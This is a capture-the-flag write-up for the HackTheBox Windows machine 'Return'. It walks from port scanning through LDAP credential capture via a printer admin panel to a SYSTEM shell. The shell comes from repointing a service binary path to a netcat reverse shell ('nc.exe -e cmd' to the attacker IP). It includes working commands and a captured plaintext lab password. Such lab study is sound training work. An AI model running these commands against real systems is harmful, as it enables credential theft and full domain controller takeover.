Return

Field	Value
Platform	HackTheBox
OS	Windows (Domain Controller)
Difficulty	Easy
Initial Vector	Printer admin panel LDAP credential capture → WinRM shell
Privesc	Server Operators group → service binary path hijack → SYSTEM shell

---

Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.

nmap -sS -p- --min-rate 5000 10.129.95.241 -n -Pn -oG ports
nmap -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49677,49681,49688,49698 --min-rate 5000 10.129.95.241 -n -Pn

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-18 01:02:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local, ...)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local, ...)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
smb2-security-mode: Message signing enabled and required
clock-skew: 18m34s

Port	Service	Version	Notes
53	DNS	Simple DNS Plus	Domain: return.local
80	HTTP	Microsoft IIS 10.0	Printer Admin Panel; TRACE enabled
88	Kerberos	—	DC confirmed; hostname PRINTER
139/445	SMB	—	Signing required; null session denied
389/3268	LDAP	—	Anonymous bind rejected
5985	WinRM	HTTPAPI 2.0	Shell entry point once creds obtained
9389	mc-nmf	.NET Message Framing	AD Web Services

Port 80 running an IIS "Printer Admin Panel" on a DC was immediately the most interesting finding — web admin interfaces that make outbound authenticated connections are credential exfiltration candidates. WinRM on 5985 confirmed the shell delivery path once credentials were in hand. The hostname PRINTER and domain return.local were both leaked via Nmap output.

echo "10.129.95.241 return.local" >> /etc/hosts

---

Phase 2 — Service Enumeration

Web (80)

The page exposed a printer administration panel with a settings form pre-filled with the service account's LDAP configuration: server address printer.return.local, port 389, and username svc-printer. The password field was masked in the UI but stored server-side.

This panel is the primary attack surface. When the settings form is submitted, the application initiates a live outbound LDAP connection to whatever server address is configured, authenticating with the stored service account credentials. Changing the server address to the attacker's IP causes the printer to send those credentials in cleartext to a controlled listener — no exploit required, just a redirect.

---

SMB (445)

Null session and Guest enumeration were fully blocked, including RID cycling.

nxc smb 10.129.95.241 -u '' -p '' --shares
nxc smb 10.129.95.241 -u 'guest' -p '' --shares
nxc smb 10.129.95.241 -u '' -p '' --users --rid-brute

# [-] Error enumerating shares: STATUS_ACCESS_DENIED
# [-] return.local\Guest: STATUS_ACCOUNT_DISABLED
# [-] STATUS_ACCESS_DENIED

RPC via rpcclient was equally locked down — NT_STATUS_ACCESS_DENIED on all queries. No user enumeration was possible from SMB or RPC without credentials.

---

LDAP (389)

Anonymous bind was rejected — authentication required with no partial results returned.

ldapsearch -x -H ldap://10.129.95.241 -b "dc=printer.return,dc=local" -D "" -w ""

---

Credential Capture via Printer Panel

With SMB, RPC, and LDAP all closed to unauthenticated access, the printer panel's outbound LDAP authentication became the only viable credential vector. I started a listener on port 389 on the attack machine, then changed the server address field in the printer panel to my IP and submitted the form.

nc -nvlp 389

The printer initiated an outbound LDAP bind to my listener and transmitted the service account credentials in cleartext. Credentials captured: svc-printer : 1edFg43012!!.

I validated the credentials over SMB and enumerated accessible shares.

nxc smb 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
nxc smb 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!' --shares

svc-printer had read and write access to C$ — unusual for a service account. I browsed the share via smbclient but found nothing immediately actionable. WinRM was the better path forward.

smbclient //10.129.95.241/C$ -U return.local/svc-printer%'1edFg43012!!'

---

WinRM (5985)

I verified svc-printer could authenticate over WinRM before opening a shell.

nxc winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
# [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

---

Phase 3 — Attack Path

Initial Access

I opened an interactive shell as svc-printer over WinRM using the captured credentials.

evil-winrm -i 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'

Post-Shell Enumeration

The user flag was retrieved from C:\Users\svc-printer\Desktop\user.txt.

I ran full privilege and group enumeration to identify the escalation path.

whoami /all

svc-printer was a member of Server Operators — a built-in Windows group that grants the ability to start, stop, and reconfigure services on domain controllers. Since services run as NT AUTHORITY\SYSTEM, modifying an existing service's binary path to a reverse shell payload and restarting it is a direct and reliable escalation primitive that requires no exploit and leaves no credential in memory.

I listed running services to identify candidates for binary path modification.

services

Privilege Escalation

I uploaded nc.exe to the target to use as the reverse shell payload, placing it in C:\Temp\.

upload /home/kuchiki/Desktop/Htb/Return/content/nc.exe

Attempting to create a new service failed — Server Operators can modify existing services but cannot create new ones, as that requires SeCreateServicePrivilege which this group does not hold.

sc.exe create service reverse binPath="C:\Temp\nc.exe -e cmd 10.10.14.80 3312"

I iterated through available services testing which ones would accept a binary path change from Server Operators — not all services allow this, as built-in Windows services have stricter ACLs than third-party ones.

VMTools accepted the modification. I reconfigured its binary path to execute the nc.exe reverse shell.

sc.exe config VMTools binPath="C:\Temp\nc.exe -e cmd 10.10.14.80 3312"

I started a listener on the attack machine, then stopped and restarted VMTools to trigger payload execution.

nc -nvlp 3312

sc.exe stop VMTools
sc.exe start VMTools

Shell received as NT AUTHORITY\SYSTEM. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.

---

Flags

Flag	Path	Value
User	C:\Users\svc-printer\Desktop\user.txt	FLAG{REDACTED}
Root	C:\Users\Administrator\Desktop\root.txt	FLAG{REDACTED}

---

Conclusion

1. A two-phase Nmap scan identified a Windows DC with IIS on port 80 exposing a printer administration panel, alongside SMB, LDAP, and WinRM; the domain return.local and hostname PRINTER were leaked via service banners.
2. SMB null sessions, Guest access, RID cycling, and anonymous LDAP binds were all fully blocked, leaving the printer panel as the only unauthenticated attack surface.
3. The panel makes outbound LDAP connections using stored service account credentials; redirecting the server address to a nc listener on port 389 captured svc-printer : 1edFg43012!! in cleartext.
4. WinRM access was confirmed for svc-printer; a shell was opened and the user flag retrieved.
5. whoami /all revealed svc-printer was a member of Server Operators, which grants service reconfiguration rights on DCs; after iterating through available services, VMTools accepted a binary path change pointing to nc.exe.
6. Stopping and restarting VMTools executed the payload as NT AUTHORITY\SYSTEM, delivering the root flag.

The system fell because a web administration panel exposed the ability to redirect outbound authenticated connections to an arbitrary host, transmitting service account credentials in cleartext, and the same service account held Server Operators membership — making the path from zero credentials to SYSTEM a two-step chain requiring no exploit, no cracking, and no lateral movement.